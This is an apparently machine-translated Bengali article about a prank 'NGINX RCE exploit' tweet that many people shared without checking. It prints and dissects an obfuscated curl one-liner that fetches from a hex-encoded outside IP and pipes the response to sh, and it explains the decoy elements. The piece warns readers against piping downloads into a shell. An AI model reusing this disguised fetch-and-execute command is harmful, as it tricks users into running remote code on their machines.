Nginx এর জন্য একটি জাল শোষণের সাথে একটি সামাজিক পরীক্ষার সাফল্য

বিঃদ্রঃ. অনুবাদ: লেখক মূল নোট, 1 জুন প্রকাশিত, তথ্য সুরক্ষায় আগ্রহীদের মধ্যে একটি পরীক্ষা পরিচালনা করার সিদ্ধান্ত নিয়েছে। এটি করার জন্য, তিনি ওয়েব সার্ভারে একটি অপ্রকাশিত দুর্বলতার জন্য একটি জাল শোষণ প্রস্তুত করেছিলেন এবং এটি তার টুইটারে পোস্ট করেছিলেন। তার অনুমান - তাত্ক্ষণিকভাবে বিশেষজ্ঞদের দ্বারা প্রকাশ করা হবে যারা কোডে সুস্পষ্ট প্রতারণা দেখতে পাবে - কেবল সত্যই হয়নি... তারা সমস্ত প্রত্যাশাকে অতিক্রম করেছে, এবং বিপরীত দিকে: টুইটটি অসংখ্য লোকের কাছ থেকে বিপুল সমর্থন পেয়েছে যারা করেননি এর বিষয়বস্তু পরীক্ষা করুন।

TL;DR: কোনো অবস্থাতেই sh বা bash-এ ফাইল পাইপলাইনিং ব্যবহার করবেন না। এটি আপনার কম্পিউটারের নিয়ন্ত্রণ হারানোর একটি দুর্দান্ত উপায়।

আমি আপনার সাথে একটি কমিক PoC শোষণের একটি ছোট গল্প শেয়ার করতে চাই যা 31শে মে তৈরি করা হয়েছিল। থেকে সংবাদের প্রতিক্রিয়ায় তিনি অবিলম্বে হাজির হন আলিসা এসেজ শেভচেঙ্কো, সদস্য জিরো ডে ইনিশিয়েটিভ (জেডডিআই), এনজিআইএনএক্স-এর একটি দুর্বলতা সম্পর্কে যে তথ্য RCE (রিমোট কোড এক্সিকিউশন) এর দিকে নিয়ে যায় তা শীঘ্রই প্রকাশ করা হবে। যেহেতু NGINX অনেক ওয়েবসাইটকে ক্ষমতা দেয়, তাই খবরটি অবশ্যই একটি বোমাবাজি হয়েছে। কিন্তু "দায়িত্বপূর্ণ প্রকাশ" প্রক্রিয়ায় বিলম্বের কারণে, কী ঘটেছিল তার বিশদ বিবরণ জানা যায়নি - এটি মানক ZDI পদ্ধতি।

টুইট NGINX-এ দুর্বলতা প্রকাশ সম্পর্কে

কার্ল-এ একটি নতুন অস্পষ্টকরণ কৌশলে কাজ শেষ করার পরে, আমি মূল টুইটটি উদ্ধৃত করেছি এবং "একটি কার্যকরী PoC ফাঁস করেছি" কোডের একটি একক লাইন যা অনুমিতভাবে আবিষ্কৃত দুর্বলতাকে কাজে লাগিয়েছে। অবশ্যই, এটি সম্পূর্ণ বাজে কথা ছিল। আমি ধরে নিয়েছিলাম যে আমি অবিলম্বে উন্মুক্ত হয়ে যাব, এবং সর্বোত্তমভাবে আমি কয়েকটি রিটুইট পাব (ওহ ভাল)।

টুইট জাল শোষণ সঙ্গে

যাইহোক, এরপর কি ঘটল তা ভাবতে পারিনি। আমার টুইটের জনপ্রিয়তা আকাশচুম্বী। আশ্চর্যজনকভাবে, এই মুহুর্তে (15:00 মস্কো সময় 1 জুন) খুব কম লোকই বুঝতে পেরেছে যে এটি একটি জাল। অনেক লোক এটিকে পরীক্ষা না করেই এটিকে পুনরায় টুইট করে (এটি আউটপুট করা সুন্দর ASCII গ্রাফিক্সের প্রশংসা করা যাক)।

শুধু দেখুন এটা কত সুন্দর!

যদিও এই সমস্ত লুপ এবং রঙগুলি দুর্দান্ত, এটি স্পষ্ট যে লোকেদের তাদের দেখতে তাদের মেশিনে কোড চালাতে হয়েছিল। সৌভাগ্যবশত, ব্রাউজারগুলি একইভাবে কাজ করে, এবং এই সত্যের সাথে মিলিত হয় যে আমি সত্যিই আইনি ঝামেলায় পড়তে চাইনি, আমার সাইটে সমাহিত কোডটি কোনো অতিরিক্ত কোড ইনস্টল বা চালানোর চেষ্টা না করেই ইকো কল করছিল।

ছোট ডিগ্রেশন: netspooky, dnz, আমি এবং দলের অন্যান্য ছেলেরা গুন্ডাদের ভিড় আমরা কিছুক্ষণ ধরে কার্ল কমান্ডগুলিকে অস্পষ্ট করার জন্য বিভিন্ন উপায়ে খেলছি কারণ এটি দুর্দান্ত... এবং আমরা গীক। netspooky এবং dnz বেশ কিছু নতুন পদ্ধতি আবিষ্কার করেছে যা আমার কাছে অত্যন্ত আশাব্যঞ্জক বলে মনে হয়েছে। আমি মজাতে যোগ দিয়েছি এবং কৌশলের ব্যাগে আইপি দশমিক রূপান্তর যোগ করার চেষ্টা করেছি। দেখা যাচ্ছে যে আইপিকে হেক্সাডেসিমেল ফরম্যাটেও রূপান্তর করা যেতে পারে। তাছাড়া, কার্ল এবং অন্যান্য NIX টুল সুখের সাথে হেক্সাডেসিমাল আইপি খায়! সুতরাং এটি একটি বিশ্বাসযোগ্য এবং সুরক্ষিত-সুদর্শন কমান্ড লাইন তৈরি করার বিষয় ছিল। শেষ পর্যন্ত আমি এটিতে স্থির হয়েছি:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

সোসিও-ইলেক্ট্রনিক ইঞ্জিনিয়ারিং (SEE) - শুধু ফিশিংয়ের চেয়েও বেশি কিছু৷

নিরাপত্তা এবং পরিচিতি এই পরীক্ষার একটি প্রধান অংশ ছিল। আমি মনে করি তারাই তার সাফল্যের দিকে পরিচালিত করেছিল। কমান্ড লাইনটি "127.0.0.1" (সুপরিচিত লোকালহোস্ট) উল্লেখ করে স্পষ্টভাবে নিরাপত্তা নির্দেশ করে। লোকালহোস্ট নিরাপদ বলে মনে করা হয় এবং এতে থাকা ডেটা কখনই আপনার কম্পিউটার থেকে যায় না।

পরিচিতি ছিল পরীক্ষার দ্বিতীয় মূল SEE উপাদান। যেহেতু টার্গেট শ্রোতারা প্রাথমিকভাবে কম্পিউটার নিরাপত্তার মূল বিষয়গুলির সাথে পরিচিত ব্যক্তিদের নিয়ে গঠিত, তাই কোড তৈরি করা গুরুত্বপূর্ণ ছিল যাতে এটির অংশগুলি পরিচিত এবং পরিচিত (এবং তাই নিরাপদ) বলে মনে হয়। পুরানো শোষণ ধারণার উপাদানগুলি ধার করা এবং একটি অস্বাভাবিক উপায়ে তাদের একত্রিত করা খুব সফল প্রমাণিত হয়েছে।

নিচে ওয়ান-লাইনারের বিস্তারিত বিশ্লেষণ দেওয়া হল। এই তালিকার সবকিছু পরেন অঙ্গরাগ প্রকৃতি, এবং কার্যত এর প্রকৃত অপারেশনের জন্য কিছুই প্রয়োজন হয় না।

কি উপাদান সত্যিই প্রয়োজনীয়? এই -gsS, -O 0x0238f06a, |sh এবং ওয়েব সার্ভার নিজেই। ওয়েব সার্ভারে কোনো দূষিত নির্দেশনা ছিল না, কিন্তু কমান্ড ব্যবহার করে সহজভাবে ASCII গ্রাফিক্স পরিবেশন করা হয় echo মধ্যে থাকা স্ক্রিপ্টে index.html. যখন ব্যবহারকারীর সাথে একটি লাইন প্রবেশ করান |sh মাঝখানে, index.html লোড এবং মৃত্যুদন্ড কার্যকর. সৌভাগ্যবশত, ওয়েব সার্ভারের অভিভাবকদের কোন খারাপ উদ্দেশ্য ছিল না।

• ../../../%00 — ডিরেক্টরির বাইরে যাওয়ার প্রতিনিধিত্ব করে;
• ngx_stream_module.so — একটি এলোমেলো NGINX মডিউলের পথ;
• /bin/sh%00<'protocol:TCP' - আমরা অনুমিতভাবে চালু করছি /bin/sh লক্ষ্য মেশিনে এবং আউটপুট টিসিপি চ্যানেলে পুনঃনির্দেশিত করুন;
• -O 0x0238f06a#PLToffset - গোপন উপাদান, সম্পূরক #PLToffset, কোনোভাবে PLT এ থাকা মেমরি অফসেটের মতো দেখতে;
• |sh; - আরেকটি গুরুত্বপূর্ণ অংশ। এখানে অবস্থিত আক্রমণকারী ওয়েব সার্ভার থেকে আসা কোডটি কার্যকর করার জন্য আমাদের আউটপুটটিকে sh/bash-এ পুনঃনির্দেশিত করতে হবে 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - একটি ডামি যেখানে নেটক্যাট বোঝায় /dev/tcp/localhostযাতে সবকিছু আবার নিরাপদ দেখায়। আসলে, এটি কিছুই করে না এবং সৌন্দর্যের জন্য লাইনে অন্তর্ভুক্ত।

এটি এক-লাইন স্ক্রিপ্টের ডিকোডিং এবং "সামাজিক-ইলেক্ট্রনিক ইঞ্জিনিয়ারিং" (জটিল ফিশিং) এর দিকগুলির আলোচনার সমাপ্তি ঘটায়।

ওয়েব সার্ভার কনফিগারেশন এবং পাল্টা ব্যবস্থা

যেহেতু আমার সিংহভাগ সাবস্ক্রাইবার ইনফোসেক/হ্যাকার, তাই আমি তাদের পক্ষ থেকে "আগ্রহ" প্রকাশের জন্য ওয়েব সার্ভারকে একটু বেশি প্রতিরোধী করার সিদ্ধান্ত নিয়েছি, যাতে ছেলেদের কিছু করার থাকে (এবং এটি মজাদার হবে) সেট আপ)। আমি এখানে সমস্ত ক্ষতির তালিকা করতে যাচ্ছি না যেহেতু পরীক্ষাটি এখনও চলছে, তবে এখানে কিছু জিনিস রয়েছে যা সার্ভার করে:

• সক্রিয়ভাবে কিছু সামাজিক নেটওয়ার্কে বিতরণ প্রচেষ্টা নিরীক্ষণ করে এবং ব্যবহারকারীকে লিঙ্কে ক্লিক করতে উত্সাহিত করতে বিভিন্ন পূর্বরূপ থাম্বনেল প্রতিস্থাপন করে।
• শেল স্ক্রিপ্ট দেখানোর পরিবর্তে Thugcrowd প্রচারমূলক ভিডিওতে Chrome/Mozilla/Safari/etcকে পুনঃনির্দেশিত করে।
• অনুপ্রবেশ/অস্পষ্ট হ্যাকিংয়ের স্পষ্ট লক্ষণগুলির জন্য ঘড়ি, এবং তারপরে NSA সার্ভারগুলিতে অনুরোধগুলি পুনর্নির্দেশ করা শুরু করে (হা!)।
• একটি ট্রোজান, সেইসাথে একটি BIOS রুটকিট, সমস্ত কম্পিউটারে ইনস্টল করে যার ব্যবহারকারীরা নিয়মিত ব্রাউজার থেকে হোস্টে যান (শুধু মজা করছেন!)।

অ্যান্টিমারের একটি ছোট অংশ

এই ক্ষেত্রে, আমার একমাত্র লক্ষ্য ছিল অ্যাপাচির কিছু বৈশিষ্ট্য আয়ত্ত করা - বিশেষ করে, অনুরোধগুলি পুনর্নির্দেশ করার জন্য দুর্দান্ত নিয়ম - এবং আমি ভেবেছিলাম: কেন নয়?

NGINX শোষণ (বাস্তব!)

সাবস্ক্রাইব করুন @alisaesage টুইটারে এবং এনজিআইএনএক্স-এ খুব বাস্তব দুর্বলতা মোকাবেলা এবং সুযোগ কাজে লাগাতে ZDI-এর দুর্দান্ত কাজ অনুসরণ করুন। তাদের কাজ সর্বদা আমাকে মুগ্ধ করেছে এবং আমি আমার বোকা টুইটের কারণে সমস্ত উল্লেখ এবং বিজ্ঞপ্তিগুলির সাথে তার ধৈর্যের জন্য অ্যালিসের কাছে কৃতজ্ঞ। সৌভাগ্যবশত, এটি কিছু ভালো কাজও করেছে: এটি NGINX দুর্বলতা, সেইসাথে কার্ল অপব্যবহারের কারণে সৃষ্ট সমস্যা সম্পর্কে সচেতনতা বাড়াতে সাহায্য করেছে।

উত্স: www.habr.com